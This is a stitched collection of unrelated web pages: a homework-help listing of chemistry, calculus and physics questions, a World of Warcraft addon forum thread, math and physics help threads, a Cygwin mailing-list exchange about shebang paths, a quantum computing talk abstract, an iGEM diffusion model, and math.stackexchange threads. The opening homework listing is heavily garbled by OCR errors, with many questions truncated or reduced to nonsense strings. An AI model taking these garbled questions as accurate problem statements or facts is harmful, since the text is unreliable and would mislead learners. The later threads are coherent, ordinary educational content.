# Questio" 11FEConsider thereaction shown below:FadH}Would malonate be = competitive inhibitor; noncomipetitive Inhibitor or an Irreversible inhlbitor; based on Its structurc ###### Question: Questio" 11 FE Consider thereaction shown below: FadH} Would malonate be = competitive inhibitor; noncomipetitive Inhibitor or an Irreversible inhlbitor; based on Its structurc below? competitive reversible nor-competitive Ineqeralbk #### Similar Solved Questions ##### How do you find the Least common multiple of 4, 30? How do you find the Least common multiple of 4, 30?... ##### H10 points ZillDiffEQ9 6.R.016Solve the given initial-value problem: (Enter the first three nonzero terms of the solution:) + 3)y' + 3y = 0, y(0) =1, Y(0) = 0 H10 points ZillDiffEQ9 6.R.016 Solve the given initial-value problem: (Enter the first three nonzero terms of the solution:) + 3)y' + 3y = 0, y(0) =1, Y(0) = 0... ##### 1) Calculate the work that you would do by pushing the Moon farther from the Earth, Iz =4xlo8 ) m W = F(r)dr, Ij-3.8x108_ m Gmimz where F(r) = (look up the unknowns for yourself)- 1) Calculate the work that you would do by pushing the Moon farther from the Earth, Iz =4xlo8 ) m W = F(r)dr, Ij-3.8x108_ m Gmimz where F(r) = (look up the unknowns for yourself)-... ##### PART FOUR:(20 points) Predict the output that would be shown in the terminal window when the... PART FOUR:(20 points) Predict the output that would be shown in the terminal window when the following program fragments are executed 1. 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[an ion HptCIO4 Assuming complctc precipitation, how Han moles of exch ion tcm (O) fur the numbcr of moles; colutitn? [an ion Hpt CIO4... ##### Consider the titration of a 23.0 −mL sample of 0.110 MM HC2H3O2 with 0.130 M NaOH.... Consider the titration of a 23.0 −mL sample of 0.110 MM HC2H3O2 with 0.130 M NaOH. Determine the pH after adding 4.00 mL of base beyond the equivalence point.... ##### Quaatlon Delalls SCalcCC4 4.5.033.Evaluate the limit, (If yau needuseenter INFINITY or INFINITY)Need Help?RandiINeaIicQuestlon Detalls SCalcCc4 4,7.AE.O1.Video Exampl Tutorial Online TextbookEXAMPLEStarting with Xi 2, find the third approximation Xz to the root of the equation x' 4x - 9 = 0,SOLUTION We apply Newton's method with{x) =xSo the iterative equation becomesLa- 34TlWith1, we have7479 3ri _ [ 4(2) -32)2 - 4Then with n = 2, we obtain4_ 3n 3.13' 4(3.13) -3(3.13)"To see Quaatlon Delalls SCalcCC4 4.5.033. Evaluate the limit, (If yau need use enter INFINITY or INFINITY) Need Help? Randi INea Iic Questlon Detalls SCalcCc4 4,7.AE.O1. Video Exampl Tutorial Online Textbook EXAMPLE Starting with Xi 2, find the third approximation Xz to the root of the equation x' 4x ... ##### Assign a polarity to the following molecules and identlfy appropriate polarities of recrystallizing solvent for each;Assign polarity to the following common recrystalllzation solvents. Ethanol Water CycloheraneWhy would hexane bc , bad recrystallization solvent for anthracene? Why Is water a bud recrystallization solvent for anthracene? Whut would bc sultable solvent?nuMo-uWhat would happen You Used t00 much recrystalllelng salvent to dissalva yaur compound? How mlght this be remedled? 5,) When Assign a polarity to the following molecules and identlfy appropriate polarities of recrystallizing solvent for each; Assign polarity to the following common recrystalllzation solvents. Ethanol Water Cycloherane Why would hexane bc , bad recrystallization solvent for anthracene? Why Is water a bud r... ##### Wl (S[llU (9Llll (S[0097 kzth @icc G01 SE 005h It9 &LS: 41 SE OSI *06 lulU (9 Xv A X Dnui Juo S saxe pue * 341 0) @i/ejed saxe |epioj} ~uaj 3401 pJadsaj 4IM Umoys Boje 341jo pue Iequaui J0 Squalol 341 @uilujajaq Wl (S[ llU (9 Llll (S[ 0097 kzth @icc G01 SE 005h It9 &LS: 41 SE OSI *06 lulU (9 Xv A X Dnui Juo S saxe pue * 341 0) @i/ejed saxe |epioj} ~uaj 3401 pJadsaj 4IM Umoys Boje 341jo pue Iequaui J0 Squalol 341 @uilujajaq... ##### Le+ 40 41b G^0 blabc potifve inteen Skol HF 4=b ;f and ely iF Le+ 40 41b G^0 bla bc potifve inteen Skol HF 4=b ;f and ely iF... ##### 66% of all students at college still need to take another math class_ If 32 students are randomly selected find the probability thatExactly 21 of them need to take another math class.b. At most 21 of them need to take another math class_At least 20 of them need to take another math class_ Between 16 and 20 (including 16 and 20) of them need to take another math class 66% of all students at college still need to take another math class_ If 32 students are randomly selected find the probability that Exactly 21 of them need to take another math class. b. At most 21 of them need to take another math class_ At least 20 of them need to take another math class_ Between... ##### 23. Which of the following is NOT TRUE about a "C" corporatius A. It is an... 23. Which of the following is NOT TRUE about a "C" corporatius A. It is an "opaque" taxpaying entity B. It can have an unlimited amount of shareholders C. Files Form 1120 D. Can be incorporated only in the United States E. Can have any year-end for tax reporting 24. The following doe... ##### 49 points HHCalcCustom1 11.7,035.My NotesAsk Your TeacherPolicy makers are Interested modeling the spread of Information through population. For example, agricultura ministrles use models to understand the spread of technical innovations or new seed types through their countries_ Two models, based on how the information spread follow. Assume the population is of constant size M. (a) If the information is spread by mass media (TV, radio _ newspapers), the rate at which information spread believed 49 points HHCalcCustom1 11.7,035. My Notes Ask Your Teacher Policy makers are Interested modeling the spread of Information through population. For example, agricultura ministrles use models to understand the spread of technical innovations or new seed types through their countries_ Two models, base... ##### Differentiate the function.F(t) = ln(2t + 1)3(2t − 1)4 Differentiate the function. F(t) = ln (2t + 1)3 (2t − 1)4... ##### Find the volume of each figure. Round your answers to the nearest hundredth, if necessary. 5... Find the volume of each figure. Round your answers to the nearest hundredth, if necessary. 5 in 7 m 4 in 15) 16) 10 7 m 10 m 10 m 10 17) 18) 8 m 7 m 3 m 2.6 m 3 m 2 m 19) 20) 4 12 11 8.8 km 12 t 21) A hemisphere has a radius of 7.3 cm. Find the surface area and volume.... ##### Determine € {F}:3s2 18s - 6 F(s) = (s + 2)2(s + 5)Click here to view the_table of Laplace_transforms Click here to view the_tableoLproperties_of_Laplace_transforms € 1{F} = Determine € {F}: 3s2 18s - 6 F(s) = (s + 2)2(s + 5) Click here to view the_table of Laplace_transforms Click here to view the_tableoLproperties_of_Laplace_transforms € 1{F} =... ##### A diprotic weak base (B) has pKvalues of 4.808 (pK01) and 8.414 (p K12). Calculate the fraction of the weak base in... A diprotic weak base (B) has pKvalues of 4.808 (pK01) and 8.414 (p K12). Calculate the fraction of the weak base in each of its three forms (B, BH, BH2+) at pH 6.703. ag = 0.956 ABH+ = 0.0031 ABH+ = 0.041... ##### Homework 12 Problem 13.69 Revlew I Constants Perlodic Table Part A [Figure 1) shows i, section of a long tubじthat narows near its open巳nd to diameter ot 1.6 mm. Water at 20 C tlows out of the open... Homework 12 Problem 13.69 Revlew I Constants Perlodic Table Part A [Figure 1) shows i, section of a long tubじthat narows near its open巳nd to diameter ot 1.6 mm. Water at 20 C tlows out of the open end at 0.025 Lfs. What is the gauge pressure at point P,where the diameter is 4.4 mm? The... ##### Q2 (a) One of the strategies for material selection is screening and ranking. Give definition of... Q2 (a) One of the strategies for material selection is screening and ranking. Give definition of screening process in term of material selection. (1 mark) (b) Explain the function, objective and constraints for each case study. (i) A design of cylindrical tie-rod of specified length 1, to carry a te... ##### Which of the following charge distributions can be accurately replaced by a single charge of magnitude... Which of the following charge distributions can be accurately replaced by a single charge of magnitude Q at the origin ( 0,y 0,or the purposes of calculating the electric field at the location 0m, y- 0m, z2m). a) a small solid sphere of radius r0.5m and with a uniformly distributed charge of Q b) a ... ##### Problemn 5.18_ The nth Harmonic number is Hn = 1+3+3+.+ for n > 1. Prove: (a) Hi + Hz +.+ H, = (n+1)H, (b) 1+ f Inn < Ha < 1+ lnn. [Hint: For 0 < 1 < 4 2x < In(1 -1) < CI: Problemn 5.18_ The nth Harmonic number is Hn = 1+3+3+.+ for n > 1. Prove: (a) Hi + Hz +.+ H, = (n+1)H, (b) 1+ f Inn < Ha < 1+ lnn. [Hint: For 0 < 1 < 4 2x < In(1 -1) < CI:... ##### Point) Find the critical points for the functionflx,y) = Sx2 1Oxy + 6y2 6yand classify each as a local maximum, local minimum, saddle point; or none of these:critical points: (give your points as comma separated list of (x,y) coordinates )classifications: (give your answers in a comma separated list, specifying maximum , minimum , saddle point; or none for each, in the same order as you entered your critical points) point) Find the critical points for the function flx,y) = Sx2 1Oxy + 6y2 6y and classify each as a local maximum, local minimum, saddle point; or none of these: critical points: (give your points as comma separated list of (x,y) coordinates ) classifications: (give your answers in a comma separated ... ##### Di Hptctudnraporticn V Home work 110 0 1 V J11 5486'4 1 Di Hptctudnraporticn V Home work 11 0 0 1 V J 1 1 5486'4 1... ##### Finding Kw What is the Kw of pure water at 50 degrees Celcius, if the pH is 6.630?... ##### How do you write the equation in point slope form given m=3 (-4,-1)? How do you write the equation in point slope form given m=3 (-4,-1)?... ##### With effective resource planning, organizations can reduce inventory and service costs, improve efficiencies, and establish methods... With effective resource planning, organizations can reduce inventory and service costs, improve efficiencies, and establish methods for continuous improvement. Depending upon the type of resource, there is a different type of planning that must take place. This can include material requirements plan... ##### Solve the equationXvx+9;y(-4) =0 Solve the equation Xvx+9;y(-4) =0... ##### By the Binomial-Normal approximation (a special case of theCentral Limit Theorem), the number of doubles that will occurduring 100 rolls of a pair of dice has an approximately normalprobability distribution. The approximation is better with acontinuity correction. For the probability that the number ofdoubles will be at most 15, what is the correction? If X equals thenumber of doubles, then we use: By the Binomial-Normal approximation (a special case of the Central Limit Theorem), the number of doubles that will occur during 100 rolls of a pair of dice has an approximately normal probability distribution. The approximation is better with a continuity correction. For the probability that the nu... ##### III. [10 pts]: Make the best possible ASSOCIATION between Obser- vation and Wavelength. What wavelength best matches the given 0b- servation? Write the best wavelength (letter) in each square bracket to the right of the numbered list, &s shown in the first line for "Spiral AM emission'WavelengthObservation1} Spiral arm emission 2) Neutral HI rotation curve 220 nI absorption bump Black hole accretion disk Balmner emission Dust emission Dust shrouded young starsX-ray Ultra-Violet III. [10 pts]: Make the best possible ASSOCIATION between Obser- vation and Wavelength. What wavelength best matches the given 0b- servation? Write the best wavelength (letter) in each square bracket to the right of the numbered list, &s shown in the first line for "Spiral AM emission&x... ##### When you have a standing wave, how is the length of the string related to the... when you have a standing wave, how is the length of the string related to the wavelength of vibration? (hint: how is a loop length related to the wavelength of the vibration?)... ##### (C{1 Poinbs]DBIAILSPREMOUS ANSFRILARCALCET7 5 4.046. Ttzun Inteaal;Halcolo]'quutankeed 2v7,Nood Holp?ndiMorke (C{1 Poinbs] DBIAILS PREMOUS ANSFRI LARCALCET7 5 4.046. Ttzun Inteaal; Halcolo] 'quutankeed 2v7, Nood Holp? ndi Morke... The following table shows Madison's utility from consuming popcorn and Coke. Suppose that Madison has income of $18.00, the price of popcorn is$6.00, and the price of Coke is \$1.50. If Madison wants to maximize her utility, how much popcorn and Coke should she buy? Quantity Popcorn Marginal Uti...
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http://www.mmo-champion.com/threads/1259250-Tracking-specific-ICD?p=20154031&viewfull=1
1. Originally Posted by thelm Icons. /10char Icons ftw. When i come home i will do it straight way <3 2. Originally Posted by Nordahl I find my solution. I would never go with needtoknow, since all it can do WA can do better. For tracking ICD on the same timeline I went with ForteXorcist, which is poorly updated, so I did not have the ICD of any of the trinkets in the current tier, but after a quick modification of the code in the cooldown lua file, is it workering perfectly. So you going to let us in on what your solution is and how its was done ? 3. Originally Posted by BaP So you going to let us in on what your solution is and how its was done ? I'm not actually sure if I'm allowed to public edited addon code. Go to: C:\Program Files\World of Warcraft\interface\addons\Forte_Cooldown Find the section with function "function CD:AddCasterPowerupCooldowns()" and insert the folowing: Code: :AddHiddenCooldown(86133,126577,45) -- Light of the Cosmos Please note that since I havent tested the essence of terror I can't be sure its working. 4. Thelm works perfectly the ICD icons. Thanks alot dude. 5. Hey Thelm, thank you for the excellent WA codes yet I can't seem to get inner brilliance to show up like your other codes. Is anyone else having this issue or am I missing something. Thanks again 6. Originally Posted by Smok35orce Hey Thelm, thank you for the excellent WA codes yet I can't seem to get inner brilliance to show up like your other codes. Is anyone else having this issue or am I missing something. Thanks again same prob with inner brilliance 7. I didnt had any problems with Inner brillance all of the 3 ICD auras works perfectly. Which light of cosmos you have? Normal or HC? The proc's have different names. 8. Originally Posted by Nordahl I'm not actually sure if I'm allowed to public edited addon code. Go to: C:\Program Files\World of Warcraft\interface\addons\Forte_Cooldown Find the section with function "function CD:AddCasterPowerupCooldowns()" and insert the folowing: Code: :AddHiddenCooldown(86133,126577,45) -- Light of the Cosmos
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https://www.physicsforums.com/threads/potential-vs-kinetic-energy-help.261154/
# Potential vs Kinetic Energy Help 1. Oct 2, 2008 ### pinkvoid SO I am writing this fortran 95 program and the problem statement is the following: -Calculate the potential energy, kinetic energy, and total energy when a ball with an initial velocity of 0 is dropped from a 100 m building. KE = 1/2mv^2 PE = mgh v = (2gh)^(1/2) The main issue I am having is the fact that the problem never gave a mass. I know that from the law of conservation of energy that I can set KE=PE and cancel out the masses. However this doesn't really get me anywhere. So far I have calculated all of my velocities that I need. But now I am stuck. Unless there is some super easy way to solve this and I just don't see it... mgh=(1/2)mv^2 gh=(1/2)v^2 <=== This doesnt get me anywhere though 2. Oct 2, 2008 ### buffordboy23 $$mgh = \frac{1}{2}mv^{2} \rightarrow v = \sqrt{2gh}$$ Take the square root of both sides. =) Similar Discussions: Potential vs Kinetic Energy Help
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http://mathhelpforum.com/differential-equations/128895-differential-equation.html
# Math Help - Differential Equation 1. ## Differential Equation Hi there I've been having a problem with this differential equation. I have the answer y = c(sin x)^2 for part (a) but it doesn't seem right. I'd appreciate any help with ether part. (a) Given the differential equation (sin x)(dy/dx) - 2ycos x = 0, find the general solution, expressing y explicitly in terms of x. (b) Find the general solution of (sin x)(dy/dx) - 2ycos x = 3(sin x)^3. 2. Originally Posted by NeilT Hi there I've been having a problem with this differential equation. I have the answer y = c(sin x)^2 for part (a) but it doesn't seem right. I'd appreciate any help with ether part. (a) Given the differential equation (sin x)(dy/dx) - 2ycos x = 0, find the general solution, expressing y explicitly in terms of x. (b) Find the general solution of (sin x)(dy/dx) - 2ycos x = 3(sin x)^3. Well for part(a), you can separate the variables to get: $ \frac{dy}{dx}\frac{1}{2y}=\frac{cosx}{sinx}$ = $ \frac{dy}{2y}=\frac{cosxdx}{sinx}$ Now take the integral for each side. To do so, substitute for the quantity in the denominator. So for the right side, that'd be $u=sinx$, which would mean $du=cosxdx$ so that the right side integral evaluates to: $ln(sinx)+C$ Doing the same for the left gets you $\frac{lny}{2}$. Settitng these equal to each other and solving for y leads to $lny = 2ln(sinx)+C$ = $exp(lny) = exp(2ln(sinx)+C)$ = $y = Csin^2(x)$ I hope that was done in enough detail. Now try the second one. The key was to try to separate the variables first. 3. Thanks Vince I'm gald to see you agree with me for (a) even though I did it slightly differently: dividing by $sin x$ gives [tex]\frac(dy,dx)[tex] 4. Originally Posted by NeilT Thanks Vince I'm gald to see you agree with me for (a) even though I did it slightly differently: dividing by $sin x$ gives [tex]\frac(dy,dx)[tex] oh good. I thought your answer was from an answer book which was i why i showed all the steps. so since you have a grasp of what is required, why is part(b) any more difficult? go for it lad. 5. Thanks for ths Vince my biggest problem is actually rememberng how to use LATEX - it's been nearly 4 years since I last used it. I have an answer for (b) and would be interested to see if you agree: $y = 3x(sinx)^2 + c(sinx)^2$ 6. For info I used an Integrating Factor of $\frac{1}{sin^2 x}$ Which seemed to make things much easier 7. You are correct in that i agree. One can always check by taking the solution and substituting it into the differential. The solution by definition satisfies the differential relation. Well done. 8. Originally Posted by vince One can always check by taking the solution and substituting it into the differential. Of course you can! I'll remember to do that in future. Thanks for your help!
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http://mathcracker.com/prime-decomposition-calculator.php
If you think that our site could be of use to your website's visitors you can link to our site # Prime Decomposition Instructions: Compute the prime decomposition of a non-negative integer value $$n$$. The value of $$n$$ needs to be integer and greater than or equal to 1 The integer $$n$$ = More about Prime Decomposition: For an integer number $$n$$, there exists a unique prime decomposition, this is, a way of expressing this integer number $$n$$ as a product of different prime numbers (where those prime numbers can be repeated, or have multiplicity, as it is commonly said as well). For example, the number $$n = 12$$ can be written as it follows $12 = 3 \cdot 4$ Is this the prime decomposition of $$n = 12$$? Nope, because 3 is a prime number (it is divisible only by 1 and by itself), but 4 is not prime (because it is divisible by 2). So then, the decomposition shown above is a decomposition, but not the the prime decomposition. Now, observing that $12 = 3 \cdot 4 = 3 \cdot 2 \cdot 2$ we can see that now $$n = 12$$ is decomposed as the product of primes only. Reordering the primes in ascending order, and grouping the primes with multiplicity, we get the neat expression $12 = 2^2 \cdot 3$ ### Get solved Math Problems, Math Cracks, Tips and Tutorials delivered weekly to your inbox * indicates required
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https://livedu.in/tag/geometric-mean/
# Geometric Mean Geometric Mean Here we will learn all the Geometric Mean Formula With Example. The Geometric Mean is nth root of the product of n quantities
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https://sourceware.org/legacy-ml/cygwin/2011-01/msg00302.html
This is the mail archive of the cygwin mailing list for the Cygwin project. Index Nav: Message Nav: [Date Index] [Subject Index] [Author Index] [Thread Index] [Date Prev] [Date Next] [Thread Prev] [Thread Next] [Raw text] # Re: windows paths in shebang lines On 1/23/2011 10:26 PM, Rafael Kitover wrote: On 1/23/2011 5:59 PM, Jeremy Bopp wrote: On 01/23/2011 03:47 PM, Rafael Kitover wrote: ```When a script's shebang line has a windows path, rather than a cygwin path, it does not work:``` ```rkitover@eeebox ~ #!C:\Perl64\bin\perl``` ```rkitover@eeebox ~ \$ /cygdrive/c/Perl64/site/bin/ack --version Can't open perl script "/cygdrive/c/Perl64/site/bin/ack": No such file or directory``` On msys (msysGit) this works correctly: ```rkitover@EEEBOX ~ \$ /c/Perl64/site/bin/ack --version ack 1.94 Running under Perl 5.12.2 at C:\Perl64\bin\perl.exe``` ```This program is free software. You may modify or distribute it under the terms of the Artistic License v2.0.``` ```Any chance this could be fixed? This would be a very nice feature for users of Strawberry Perl and similar. ``` ```The problem is not that you're using a Windows path instead of a Cygwin path in the shebang line; although, that is not officially supported under Cygwin. Rather, the problem is that the version of Perl being run as a result of that shebang line does not understand Cygwin paths. That's why you see this error:``` ```Can't open perl script "/cygdrive/c/Perl64/site/bin/ack": No such file or directory``` ```That's the Perl interpreter telling you that it doesn't understand the path that was given to it for the ack script, so Perl is running at this point which means that the shebang line is understood correctly. You should probably go read about how shebang lines work in general, but the short and sweet is that the shebang line is the first part of a command line to be run where the last part is the command line used to run the file that contains the shebang line itself. IOW, the command line used in your first example is ultimately:``` C:\Perl64\bin\perl /cygdrive/c/Perl64/site/bin/ack --version ```Ahh yes, I wasn't thinking about this clearly, thank you for the explanation :)``` You have 3 potential solutions to your problem: ```1) Run Perl explicitly with the Windows path to the script as an argument: /cygdrive/c/Perl64/bin/perl C:/Perl64/site/bin/ack``` ```2) Change into the C: drive and use a relative path to the ack script when you run it: cd /cygdrive/c Perl64/site/bin/ack``` ```3) Change your cygdrive mount location to / so that the path to the ack script will be /c/Perl64/site/bin/ack under Cygwin.``` ```Option 3 is the real hack. I think it should work because it appears in your successful example that the Perl you want to use is able to translate paths such as /c/path/to/something to C:/path/to/something internally. By adjusting the cygdrive mount location to /, you will cause Cygwin to send a compatible path to Perl when you run the script as /c/Perl64/site/bin/ack.``` -Jeremy Unfortunately, that's not enough to get it to work: ```\$ /c/Perl64/site/bin/ack --version Can't open perl script "/c/Perl64/site/bin/ack": No such file or directory``` ```\$ /c/Perl64/bin/perl /c/Perl64/site/bin/ack --version Can't open perl script "/c/Perl64/site/bin/ack": No such file or directory``` ```\$ /c/Perl64/bin/perl /Perl64/site/bin/ack --version ack 1.94 Running under Perl 5.12.2 at C:\Perl64\bin\perl.exe ...``` ```msys seems to do something special for this to work correctly, it also seems to translate its paths to windows paths when running windows executables automatically, a very nice feature.``` ```For this to work in cygwin I'd have to do something like mount c: as /, which I'm guessing would break absolutely everything :) ``` I got this to work! Along with "mount -c /" I did this: to create a directory junction. Now: ```\$ head -1 /c/Perl64/site/bin/ack #!C:\Perl64\bin\perl``` ```rkitover@eeebox ~ \$ /c/Perl64/site/bin/ack --version ack 1.94 Running under Perl 5.12.2 at C:\Perl64\bin\perl.exe``` Yay! Now I just need to convince activestate to use proper shebang lines instead of #!/usr/bin/perl . ```-- Problem reports: http://cygwin.com/problems.html FAQ: http://cygwin.com/faq/ Documentation: http://cygwin.com/docs.html Unsubscribe info: http://cygwin.com/ml/#unsubscribe-simple``` Index Nav: Message Nav: [Date Index] [Subject Index] [Author Index] [Thread Index] [Date Prev] [Date Next] [Thread Prev] [Thread Next]
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https://www.imsi.institute/videos/quantum-barren-plateaus-and-a-possible-way-out/
This was part of Quantum Information for Mathematics, Economics, and Statistics ## Quantum barren plateaus and a possible way out Maria Kieferova, University of Technology Sydney Thursday, May 27, 2021 Abstract: In recent years the prospects of quantum machine learning and quantum deep neural network have gained notoriety in the scientific community. By combining ideas from quantum computing with machine learning methodology, quantum neural networks promise new ways to interpret classical and quantum data sets. However, many of the proposed quantum neural network architectures exhibit a concentration of measure leading to barren plateau phenomena.  In this talk, I will show that, with high probability, entanglement between the visible and hidden units can lead to exponentially vanishing gradients. To overcome the gradient decay, our work introduces a new step in the process which we call quantum generative pre-training. This is a joint work with Carlos Ortiz Marrero and Nathan Wiebe.
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https://2021.igem.org/Team:TokyoTech/Model
# Team:TokyoTech/Model Modeling To confirm our bacteria have effects, we estimated the extent to which cinnamaldehyde diffuses when lactic acid bacteria synthesize it. From these results, we were able to determine the effective distance of lactic acid bacteria that actually exhibit antibacterial activity. We have extended the famous Fick's diffusion equation to three dimensions and predicted it by substituting the concentration of cinnamaldehyde that shows antimicrobial activity as determined experimentally. Fick's diffusion equation in one dimension is as follows $J\ \propto\ -\frac{\partial\ c}{\partial\ x}\ \rightarrow\ J\ =\ -D\frac{\partial\ c}{\partial\ x}$$\frac{\partial}{\partial\ t}\ \int_{x0}^{x1}\ c(x,\ t)dx\ =\ J(x0,\ t)\ -\ J(x1,\ t)$$\frac{\partial\ c}{\partial\ t}\ =\ D(\frac{\partial}{\partial\ x})^2\ c$ Since the diffusion coefficient D of cinnamaldehyde could not be determined this time, the known value of 0.00002 [㎠/s] for acetaldehyde was used. The interval between swallows varies from person to person, but we found a literature value that healthy people swallow for less than 5 seconds, so we set tmax=5s.(P. Ask and L. Tibbling, 1980) Furthermore, since the size of lactobacilli is 2㎛, we assumed that the cross-sectional area of lactobacilli can be approximated as a square with a side of 2㎛, and set A=4×10-8㎠. If the start time is t1=1s and the time just before swallowing is t2=5s, the range in which the lethal concentration of cinnamaldehyde against S. mutans exceeds 0.50 [mg/ml] (see wet), i.e., 0.61×10-6 [mol/ml], is recorded during this time when the distance x from the lactobacillus is 0≤x≤0. The distance x from the lactobacillus is 0≤x≤0.0089 [cm] and Q=5.0×10-16mol at this time. From the above, it is desirable to synthesize 1.0 x 10-16 [mol/s] of cinnamaldehyde per recombinant lactic acid bacteria. Next, we consider the case of cinnamaldehyde diffusing in a three-dimensional solvent. If the particle is at the origin at time t=0, and the probability of being in the range of r~(r+dr) after t time is c(r,t)dr, then c(r,t) satisfies the following diffusion equation.(This equation is defined by ①. ) $\frac{\partial\ c(r,\ t)}{\partial\ t}\ =\ D\ \nabla^2\ c(r,\ t)$ The initial conditions can be expressed using Dirac's delta function as follows.(This equation is defined by ②. ) $c(r,\ 0)\ =\ \delta(r)$ If the Fourier transform of G(r,t) is c^(k,t), the following equation can be obtained by Fourier transforming both sides of ①. $F(k)\ =\ \frac{1}{(2\pi)^{3/2}}\ \int_{-\ \infty}^{\infty}\ f(r)e^{-ik\ \cdot\ r}\ dr$ $\frac{\partial\ \hat{c}(k,\ t)}{\partial\ t}\ =\ -k^2\ D\hat{c}(k,\ t)$ When the initial conditions ② are also Fourier transformed, the following equation is obtained. $\hat{c}(k,\ t)\ =\ 1/(2\pi)^{3/2}$ Therefore, the solution of the equation satisfying the initial conditions is obtained as follows. $\hat{c}(k,\ t)\ =\ \frac{1}{(2\pi)^{\frac{3}{2}}}\ e^{(-k^2\ Dt)}$ The inverse transformation of this equation can be easily done, and the solution to equation ① can be obtained as follows. $c(r,\ t)\ =\ \frac{1}{8(\pi\ Dt)^{\frac{3}{2}}}\ e^{-\ \frac{r^2}{4Dt}}$ In the same way as for the one-dimensional case, the distance r from the lactic acid bacteria is 0≤r≤0.016 [cm] and 0.61×10-6[mol/ml] is recorded, and Q=5.0×10-11mol at this time. From the above, it is desirable to synthesize 1.0×10-11[mol/s] of cinnamaldehyde per recombinant lactic acid bacteria. Reference P. Ask and L. Tibbling. Effect of time interval between swallows on esophageal peristalsis. American Journal of Physiology-Gastrointestinal and Liver Physiology, 1980.
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https://math.stackexchange.com/questions/1330409/is-every-projection-on-a-hilbert-space-orthogonal
# Is every projection on a Hilbert space orthogonal? I'm highly doubtful that the answer is "yes," but I fail to see what's incorrect about this very basic proof I've thought of. If someone could point out my error, I'd appreciate it. My logic is as follows: Claim: Every projection on a Hilbert space is orthogonal. "Proof": 1. For any linear space $X$, it is true that given a projection $P: X \rightarrow X$ (where $P$ is a projection iff $P$ is linear and satisfies $P^2 = P$), we have $X = \text{ran}(P) \oplus \text{ker}(P)$. 2. Assume X is a Hilbert space (which is, by definition, linear). Since $\text{ker}(P)$ is a closed linear subspace of $X$, then by the projection theorem, $X = \text{ker}(P) \oplus \text{ker}(P)^\perp$ is an orthogonal direct sum. 3. Therefore, $\text{ker}(P)^\perp = \text{ran}(P)$, so $X = \text{ran}(P) \oplus \text{ker}(P)$ is an orthogonal direct sum. Thus, $P$ is an orthogonal projection. • By a projection you mean a linear map $P:X \to X$ such that $P^2 = P$ ? – Holonomia Jun 18 '15 at 16:53 ## 4 Answers Your argument is wrong because I guess you have in mind a orthogonal projector, namely a map $P: X \to X$ such that $P^2 = P$ and also $P^{\top} = P$ (or $P^* = P$). Here is a simple example. Decompose $\mathbb{R}^2 = \mathbb{R}e_1 \oplus \mathbb{R}(e_1 + e_2)$ where $e_1,e_2$ is the canonical basis i.e. $e_1=(1,0), e_2=(0,1)$. Then you have a projection $P: \mathbb{R}^2 \to \mathbb{R}^2$ given by taking any vector $v$ to its component in $\mathbb{R}(e_1 + e_2)$ along $\mathbb{R}e_1$ e.g. $P(e_1) = 0 , P(e_2) = e_1 + e_2$, such $P$ is a projector i.e. $P^2 = P$ by definition. But it is not orthogonal since the vectors $e_1$ and $e_1 + e_2$ are not perpendicular. • Thanks! The example helped make it particularly clear. – user218389 Jun 19 '15 at 3:25 • you are welcome. – Holonomia Jun 19 '15 at 8:26 Careful, $E=F\oplus G=F \oplus H$ does not imply $G=H$. You state that $X = \ker(P) \oplus \ker(P)^\perp$ and $X = \ker(P) \oplus \text{ran}(P)$ ; but then, your implication (3) that "therefore $\ker(P)^\perp = \text{ran}(P)$" rests on the assumption that the supplement space of $\ker(P)$ is unique, which is not true in general. A projection $P$ should be thought of as being onto a subspace $A$ relative to a subspace $B$. As a simple example, look at $\mathbb{R}^{2}$ with standard basis $\{ e_1, e_2\}$. Another basis for $\mathbb{R}^{2}$ is $\{ e_1, e_1+e_2 \}$. The orthogonal projection of $\mathbb{R}^{2}$ onto $[\{e_1\}]$ is $Px = (x,e_1)e_1$. However, if you want to write $x$ in terms of the second basis, \begin{align} x & = (x,e_1)e_1+(x,e_2)e_2 \\ & = (x,e_1)e_1+(x,e_2)(e_1+e_2)-(x,e_2)e_1 \\ & = \{ (x,e_1) - (x,e_2) \}e_1 + (x,e_2)(e_1+e_2). \end{align} This gives rise to a second projection onto $[\{e_1\}]$: $$Qx = (x,e_1-e_2)e_1.$$ You can check that this is a projection onto $[\{e_1\}]$ as well: \begin{align} Q^{2}x & = (Qx,e_1-e_2)e_1 \\ & = ((x,e_1-e_2)e_1,e_1-e_2)e_1) \\ & = (x,e_1-e_2)(e_1,e_1-e_2)e_1 \\ & = (x,e_1-e_2)e_1 = Qx. \end{align} Both projections are onto $[\{e_1\}]$, but the first is relative to $[\{e_2\}]$, while the second is relative to $[\{e_2-e_1\}]$; these are different even though $[\{e_1\}]\oplus[\{e_2\}] = [\{e_1\}]\oplus[\{e_2-e_1\}]$.
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http://math.stackexchange.com/questions/52338/conformal-maps-onto-the-unit-disc-in-mathbbc
# Conformal Maps onto the Unit Disc in $\mathbb{C}$ I am interested in finding explicit formulae for (better yet characterizing) conformal functions from various domains onto the open unit disc $\mathbb{D}\subset\mathbb{C}$, and in understanding the key ideas necessary to establish such functions. Specifically, what can $f$ look like when $f:G\to\mathbb{D}$ is conformal and (1) $G=\{x+iy~|~x,y>0\}$ is the open first quadrant. (2) $G=\{x+iy~|~x>0,~0<y<1\}$ is an open horizontal strip in the first quadrant. (3) $G=\{z\in\mathbb{C}~|~\frac{1}{2}<|z|<1\}$ is an annulus. (4) $G=\mathbb{D}\cap\{|z-\frac{1}{2}|>\frac{1}{2}\}$ is something else (torus?). - Do you want these to be bijective? By "conformal" some people mean "biholomorphic", and others mean "holomorphic with non-vanishing derivative". – Dylan Moreland Jul 19 '11 at 5:51 not necessarily, but it would be nice to also know when/if this is possible. The definition of conformal I was introduced to was "angle-preserving" which was shown to require non-vanishing derivative (Are these conditions equivalent for holomorphic functions?). This was what I had in mind, but all discussion is welcome. – RHP Jul 19 '11 at 5:55 Sure. I must run off, but I'll mention that I often find the Cayley transform to be useful for problems like this. Here it would be helpful for (1). – Dylan Moreland Jul 19 '11 at 6:01 @RHP: Thanks, great to hear! As for $3$, the point is that the annulus has a hole, while the disk doesn't have one. If you want a biholomorphic map, you need the same number of holes, intuitively. By the way, one can show (not easy!) that if you have an annulus with radii $0 \lt r \lt R$ and you want to map it to another annulus with radii $0 \lt r' \lt R'$ then you must have $\frac{R}{r} = \frac{R'}{r'}$ "the ratio of radii of annuli is a conformal invariant", (this is such a strange sentence that you can't forget it). I like Ahlfors a lot (but it's tough) and ... – t.b. Jul 19 '11 at 22:44 ...for historical remarks (and many other things) I recommend the great books by Remmert Part 1 and Part 2. I worked through them in German, but I guess the English editions aren't too different. Cartan is great and I have some prejudices against Lang, but that's a matter of taste, I guess :) I never looked at Nevanlinna. – t.b. Jul 19 '11 at 22:48 Since you didn't show too many own thoughts, here are some hints only. By 